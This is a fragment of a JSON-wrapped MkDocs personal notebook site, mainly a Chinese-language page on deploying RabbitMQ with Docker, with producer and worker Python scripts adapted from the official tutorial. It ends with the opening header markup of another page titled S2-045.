class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          RabbitMQ\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        RabbitMQ\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker\" class=\"md-nav__link\">\n    Docker部署\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    消费者竞争的任务推送执行\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"消费者竞争的任务推送执行\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#configpy\" class=\"md-nav__link\">\n    config.py 配置信息\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#taskpy\" class=\"md-nav__link\">\n    task.py 发送任务\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    查看队列状态\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#workerpy\" class=\"md-nav__link\">\n    worker.py 执行任务\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker\" class=\"md-nav__link\">\n    Docker部署\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    消费者竞争的任务推送执行\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"消费者竞争的任务推送执行\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#configpy\" class=\"md-nav__link\">\n    config.py 配置信息\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#taskpy\" class=\"md-nav__link\">\n    task.py 发送任务\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    查看队列状态\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#workerpy\" class=\"md-nav__link\">\n    worker.py 执行任务\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"rabbitmq\">RabbitMQ 消息队列<a class=\"headerlink\" href=\"#rabbitmq\" title=\"Permanent link\">&para;</a></h1>\n<h2 id=\"docker\">Docker部署<a class=\"headerlink\" href=\"#docker\" title=\"Permanent link\">&para;</a></h2>\n<ul>\n<li>必须设置主机名 &ndash;hostname</li>\n<li>数据卷映射</li>\n<li>使用macvlan分配IP</li>\n<li>配置用户密码</li>\n</ul>\n<p>配置用户密码必须要求数据文件夹为空，否则不会生效</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">rm</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">rf</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">docker</span><span class=\"o\">/</span><span class=\"n\">rabbitmq</span><span class=\"o\">/</span>\n\n<span class=\"n\">docker</span><span class=\"w\"> </span><span class=\"n\">run</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">d</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">hostname</span><span class=\"w\"> </span><span class=\"n\">rabbit</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"n\">rmq</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">v</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">docker</span><span class=\"o\">/</span><span class=\"n\">rabbitmq</span><span class=\"o\">/</span><span class=\"p\">:</span><span class=\"o\">/</span><span class=\"k\">var</span><span class=\"o\">/</span><span class=\"n\">lib</span><span class=\"o\">/</span><span class=\"n\">rabbitmq</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">network</span><span class=\"w\"> </span><span class=\"n\">macvlan_bridge</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">ip</span><span class=\"w\"> </span><span class=\"mf\">192.168</span><span class=\"o\">.</span><span class=\"mf\">1.18</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">dns</span><span class=\"w\"> </span><span class=\"mf\">192.168</span><span class=\"o\">.</span><span class=\"mf\">1.1</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">e</span><span class=\"w\"> </span><span class=\"n\">RABBITMQ_DEFAULT_USER</span><span class=\"o\">=</span><span class=\"n\">user</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">e</span><span class=\"w\"> </span><span class=\"n\">RABBITMQ_DEFAULT_PASS</span><span class=\"o\">=</span><span class=\"n\">password</span><span class=\"w\"> </span><span class=\"n\">rabbitmq</span>\n</code></pre></div>\n\n<h2 id=\"_1\">消费者竞争的任务推送执行<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<p>例如发送参数1,2到消费者执行<code>add(a,b)</code>函数，每个消费者最多接受一个任务</p>\n<h3 id=\"configpy\">config.py 配置信息<a class=\"headerlink\" href=\"#configpy\" title=\"Permanent link\">&para;</a></h3>\n<p>与上述docker启动时配置的一致</p>\n<div class=\"codehilite\"><pre><span></span><code>RMQ_HOST = &quot;192.168.1.18&quot;\nRMQ_PORT = 5672\nRMQ_USER = &quot;user&quot;\nRMQ_PASSWORD = &quot;password&quot;\n</code></pre></div>\n\n<h3 id=\"taskpy\">task.py 发送任务<a class=\"headerlink\" href=\"#taskpy\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"ch\">#!/usr/bin/env python</span>\n<span class=\"kn\">import</span> <span class=\"nn\">pika</span>\n<span class=\"kn\">import</span> <span class=\"nn\">sys</span>\n<span class=\"kn\">import</span> <span class=\"nn\">json</span>\n<span class=\"kn\">from</span> <span class=\"nn\">config</span> <span class=\"kn\">import</span> <span class=\"n\">RMQ_HOST</span><span class=\"p\">,</span><span class=\"n\">RMQ_PORT</span><span class=\"p\">,</span><span class=\"n\">RMQ_USER</span><span class=\"p\">,</span><span class=\"n\">RMQ_PASSWORD</span>\n<span class=\"n\">QUEUE_NAME</span> <span class=\"o\">=</span> <span class=\"s1\">&#39;add_task_queue&#39;</span>\n\n<span class=\"n\">params</span> <span class=\"o\">=</span> <span class=\"n\">pika</span><span class=\"o\">.</span><span class=\"n\">ConnectionParameters</span><span class=\"p\">(</span>\n        <span class=\"n\">host</span><span class=\"o\">=</span><span class=\"n\">RMQ_HOST</span><span class=\"p\">,</span> \n        <span class=\"n\">port</span><span class=\"o\">=</span><span class=\"n\">RMQ_PORT</span><span class=\"p\">,</span> \n        <span class=\"n\">credentials</span><span class=\"o\">=</span><span class=\"n\">pika</span><span class=\"o\">.</span><span class=\"n\">credentials</span><span class=\"o\">.</span><span class=\"n\">PlainCredentials</span><span class=\"p\">(</span><span class=\"n\">RMQ_USER</span><span class=\"p\">,</span> <span class=\"n\">RMQ_PASSWORD</span><span class=\"p\">)</span>\n    <span class=\"p\">)</span>\n<span class=\"n\">connection</span> <span class=\"o\">=</span> <span class=\"n\">pika</span><span class=\"o\">.</span><span class=\"n\">BlockingConnection</span><span class=\"p\">(</span><span class=\"n\">params</span><span class=\"p\">)</span>\n<span class=\"n\">channel</span> <span class=\"o\">=</span> <span class=\"n\">connection</span><span class=\"o\">.</span><span class=\"n\">channel</span><span class=\"p\">()</span>\n\n<span class=\"n\">channel</span><span class=\"o\">.</span><span class=\"n\">queue_declare</span><span class=\"p\">(</span><span class=\"n\">queue</span><span class=\"o\">=</span><span class=\"n\">QUEUE_NAME</span><span class=\"p\">,</span> <span class=\"n\">durable</span><span class=\"o\">=</span><span class=\"kc\">True</span><span class=\"p\">)</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">queue_put</span><span class=\"p\">(</span><span class=\"n\">func_args</span><span class=\"p\">):</span> \n    <span class=\"c1\">#func_args:函数参数list</span>\n    <span class=\"n\">message</span> <span class=\"o\">=</span> <span class=\"n\">json</span><span class=\"o\">.</span><span class=\"n\">dumps</span><span class=\"p\">(</span><span class=\"n\">func_args</span><span class=\"p\">)</span>\n    <span class=\"k\">return</span> <span class=\"n\">channel</span><span class=\"o\">.</span><span class=\"n\">basic_publish</span><span class=\"p\">(</span><span class=\"n\">exchange</span><span class=\"o\">=</span><span class=\"s1\">&#39;&#39;</span><span class=\"p\">,</span>\n                          <span class=\"n\">routing_key</span><span class=\"o\">=</span><span class=\"n\">QUEUE_NAME</span><span class=\"p\">,</span>\n                          <span class=\"n\">body</span><span class=\"o\">=</span><span class=\"n\">message</span><span class=\"p\">,</span>\n                          <span class=\"n\">properties</span><span class=\"o\">=</span><span class=\"n\">pika</span><span class=\"o\">.</span><span class=\"n\">BasicProperties</span><span class=\"p\">(</span>\n                             <span class=\"n\">delivery_mode</span> <span class=\"o\">=</span> <span class=\"mi\">2</span><span class=\"p\">,</span> <span class=\"c1\"># make message persistent</span>\n                          <span class=\"p\">))</span>\n\n<span class=\"k\">if</span> <span class=\"vm\">__name__</span> <span class=\"o\">==</span> <span class=\"s1\">&#39;__main__&#39;</span><span class=\"p\">:</span>\n    <span class=\"n\">queue_put</span><span class=\"p\">([</span><span class=\"mi\">1</span><span class=\"p\">,</span><span class=\"mi\">2</span><span class=\"p\">])</span>\n    <span class=\"n\">connection</span><span class=\"o\">.</span><span class=\"n\">close</span><span class=\"p\">()</span>\n</code></pre></div>\n\n<h3 id=\"_2\">查看队列状态<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h3>\n<p>查看队列名称 准备发送的数量 没有ack的数量</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">docker</span><span class=\"w\"> </span><span class=\"k\">exec</span><span class=\"w\"> </span><span class=\"nv\">rmq</span><span class=\"w\"> </span><span class=\"nv\">rabbitmqctl</span><span class=\"w\"> </span><span class=\"nv\">list_queues</span><span class=\"w\"> </span><span class=\"nv\">name</span><span class=\"w\"> </span><span class=\"nv\">messages_ready</span><span class=\"w\"> </span><span class=\"nv\">messages_unacknowledged</span>\n</code></pre></div>\n\n<h3 id=\"workerpy\">worker.py 执行任务<a class=\"headerlink\" href=\"#workerpy\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"ch\">#!/usr/bin/env python</span>\n<span class=\"kn\">import</span> <span class=\"nn\">pika</span>\n<span class=\"kn\">import</span> <span class=\"nn\">time</span>\n<span class=\"kn\">import</span> <span class=\"nn\">json</span>\n<span class=\"kn\">from</span> <span class=\"nn\">config</span> <span class=\"kn\">import</span> <span class=\"n\">RMQ_HOST</span><span class=\"p\">,</span><span class=\"n\">RMQ_PORT</span><span class=\"p\">,</span><span class=\"n\">RMQ_USER</span><span class=\"p\">,</span><span class=\"n\">RMQ_PASSWORD</span>\n<span class=\"n\">QUEUE_NAME</span> <span class=\"o\">=</span> <span class=\"s1\">&#39;add_task_queue&#39;</span>\n\n<span class=\"n\">params</span> <span class=\"o\">=</span> <span class=\"n\">pika</span><span class=\"o\">.</span><span class=\"n\">ConnectionParameters</span><span class=\"p\">(</span>\n        <span class=\"n\">host</span><span class=\"o\">=</span><span class=\"n\">RMQ_HOST</span><span class=\"p\">,</span> \n        <span class=\"n\">port</span><span class=\"o\">=</span><span class=\"n\">RMQ_PORT</span><span class=\"p\">,</span> \n        <span class=\"n\">credentials</span><span class=\"o\">=</span><span class=\"n\">pika</span><span class=\"o\">.</span><span class=\"n\">credentials</span><span class=\"o\">.</span><span class=\"n\">PlainCredentials</span><span class=\"p\">(</span><span class=\"n\">RMQ_USER</span><span class=\"p\">,</span> <span class=\"n\">RMQ_PASSWORD</span><span class=\"p\">)</span>\n    <span class=\"p\">)</span>\n<span class=\"n\">connection</span> <span class=\"o\">=</span> <span class=\"n\">pika</span><span class=\"o\">.</span><span class=\"n\">BlockingConnection</span><span class=\"p\">(</span><span class=\"n\">params</span><span class=\"p\">)</span>\n<span class=\"n\">channel</span> <span class=\"o\">=</span> <span class=\"n\">connection</span><span class=\"o\">.</span><span class=\"n\">channel</span><span class=\"p\">()</span>\n\n<span class=\"n\">channel</span><span class=\"o\">.</span><span class=\"n\">queue_declare</span><span class=\"p\">(</span><span class=\"n\">queue</span><span class=\"o\">=</span><span class=\"n\">QUEUE_NAME</span><span class=\"p\">,</span> <span class=\"n\">durable</span><span class=\"o\">=</span><span class=\"kc\">True</span><span class=\"p\">)</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s1\">&#39; [*] Waiting for messages. To exit press CTRL+C&#39;</span><span class=\"p\">)</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">add</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span> <span class=\"n\">b</span><span class=\"p\">):</span>\n    <span class=\"k\">return</span> <span class=\"n\">a</span><span class=\"o\">+</span><span class=\"n\">b</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">save_result</span><span class=\"p\">(</span><span class=\"n\">args</span><span class=\"p\">,</span> <span class=\"n\">result</span><span class=\"p\">):</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;save_result for&quot;</span><span class=\"p\">,</span> <span class=\"n\">args</span><span class=\"p\">,</span> <span class=\"s2\">&quot;:&quot;</span><span class=\"p\">,</span> <span class=\"n\">result</span><span class=\"p\">)</span>\n    <span class=\"k\">pass</span> <span class=\"c1\"># using mysql or whatever storage...</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">callback</span><span class=\"p\">(</span><span class=\"n\">ch</span><span class=\"p\">,</span> <span class=\"n\">method</span><span class=\"p\">,</span> <span class=\"n\">properties</span><span class=\"p\">,</span> <span class=\"n\">body</span><span class=\"p\">):</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot; [x] Received </span><span class=\"si\">%r</span><span class=\"s2\">&quot;</span> <span class=\"o\">%</span> <span class=\"n\">body</span><span class=\"p\">)</span>\n    <span class=\"n\">args</span> <span class=\"o\">=</span> <span class=\"n\">json</span><span class=\"o\">.</span><span class=\"n\">loads</span><span class=\"p\">(</span><span class=\"n\">body</span><span class=\"o\">.</span><span class=\"n\">decode</span><span class=\"p\">())</span>\n    <span class=\"n\">result</span> <span class=\"o\">=</span> <span class=\"n\">add</span><span class=\"p\">(</span><span class=\"o\">*</span><span class=\"n\">args</span><span class=\"p\">)</span>\n    <span class=\"n\">save_result</span><span class=\"p\">(</span><span class=\"n\">args</span><span class=\"p\">,</span> <span class=\"n\">result</span><span class=\"p\">)</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot; [x] Done&quot;</span><span class=\"p\">)</span>\n    <span class=\"n\">ch</span><span class=\"o\">.</span><span class=\"n\">basic_ack</span><span class=\"p\">(</span><span class=\"n\">delivery_tag</span> <span class=\"o\">=</span> <span class=\"n\">method</span><span class=\"o\">.</span><span class=\"n\">delivery_tag</span><span class=\"p\">)</span>\n\n<span class=\"n\">channel</span><span class=\"o\">.</span><span class=\"n\">basic_qos</span><span class=\"p\">(</span><span class=\"n\">prefetch_count</span><span class=\"o\">=</span><span class=\"mi\">1</span><span class=\"p\">)</span>\n<span class=\"n\">channel</span><span class=\"o\">.</span><span class=\"n\">basic_consume</span><span class=\"p\">(</span><span class=\"n\">callback</span><span class=\"p\">,</span>\n                      <span class=\"n\">queue</span><span class=\"o\">=</span><span class=\"n\">QUEUE_NAME</span><span class=\"p\">)</span>\n\n<span class=\"n\">channel</span><span class=\"o\">.</span><span class=\"n\">start_consuming</span><span class=\"p\">()</span>\n</code></pre></div>\n\n<p>代码来自官方教程： https://www.rabbitmq.com/tutorials/tutorial-two-python.html</p>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/S2-045/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../Java/\">\n      \n      \n        <link rel=\"next\" href=\"../JavaScript/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>S2-045 - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#struts2s2-045\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    